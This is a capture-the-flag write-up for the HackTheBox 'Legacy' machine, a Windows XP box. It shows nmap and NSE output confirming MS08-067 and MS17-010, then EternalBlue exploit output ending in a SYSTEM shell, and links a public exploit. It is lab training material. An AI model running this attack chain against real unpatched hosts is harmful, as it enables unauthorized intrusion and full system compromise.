Legacy Writeup - HackTheBox
Legacy is a Windows XP box. The chain runs: nmap identifies SMB only, NSE scripts confirm MS17-010 (EternalBlue) and MS08-067 (NetAPI), a public Python MS17-010 exploit grants a SYSTEM shell directly with no escalation step needed.
Discovery
Port scan
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows XP microsoft-ds Host script results: | smb-os-discovery: | OS: Windows XP (Windows 2000 LAN Manager) | Computer name: legacy | Workgroup: HTB
Three ports, all SMB and RPC. Windows XP flags this immediately as a pre-patch SMB target. Run the standard SMB vuln scripts before anything else.
Vulnerability Identification
Host script results: | smb-vuln-ms08-067: | VULNERABLE: | Microsoft Windows system vulnerable to remote code execution (MS08-067) | State: VULNERABLE | IDs: CVE:CVE-2008-4250 | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143
Both MS08-067 and MS17-010 confirmed. MS17-010 is the cleaner path here.
Exploitation
MS17-010 EternalBlue
[*] Target OS: Windows 5.1 [+] Found pipe 'browser' [+] Using named pipe: browser Groom packets attempt controlling next transaction on x86 success controlling one transaction ... [*] have fun with the system smb session! C:\WINDOWS\system32>whoami nt authority\system
The exploit grooms the kernel pool via a named pipe and coerces kernel execution. Shell lands directly as NT AUTHORITY\SYSTEM with no privilege escalation step required.
Related
References
-
h3x0v3rl0rd/MS17-010REPO: h3x0v3rl0rd/MS17-010, github.com/h3x0v3rl0rd/MS17-010 (opens in new tab)
Python MS17-010 exploit used for this box.
-
MS17-010 EternalBlueTOOL: MS17-010 EternalBlue, www.rapid7.com/db/vulnerabilities/msft-ms17-010 (opens in new tab)
MS17-010 vulnerability details.